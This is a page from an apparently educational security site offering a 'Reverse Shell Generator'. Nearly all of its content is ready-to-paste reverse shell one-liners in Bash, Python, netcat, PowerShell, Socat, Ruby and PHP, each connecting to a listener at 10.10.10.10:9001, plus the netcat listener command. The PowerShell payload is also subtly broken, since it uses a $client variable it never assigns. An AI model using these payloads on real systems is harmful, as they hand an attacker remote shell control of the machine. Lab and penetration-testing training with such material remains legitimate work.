The Academy is free // the war room is optional
>_DAEMONCORE // ACADEMY
TACTICAL ARSENAL // REVERSE SHELL GENERATOR

Reverse Shell Generator

Configure your listener details below to instantly generate copy-pasteable reverse shell payloads across multiple environments.

Incoming Connection Listener

nc -lvnp 9001

Bash -i

linuxbash
/bin/sh -i >& /dev/tcp/10.10.10.10/9001 0>&1

Python 3

linuxpython
export RHOST="10.10.10.10";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Netcat (Traditional)

linuxnetcat
nc -e /bin/sh 10.10.10.10 9001

Netcat (OpenBSD)

linuxnetcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f

PowerShell

windowspowershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Socat

linuxsocat
socat TCP:10.10.10.10:9001 EXEC:'/bin/sh',pty,stderr,setsid,sigint,sane

Ruby

linuxruby
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",9001).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PHP

linuxphpweb
php -r '$sock=fsockopen("10.10.10.10",9001);exec("/bin/sh -i <&3 >&3 2>&3");'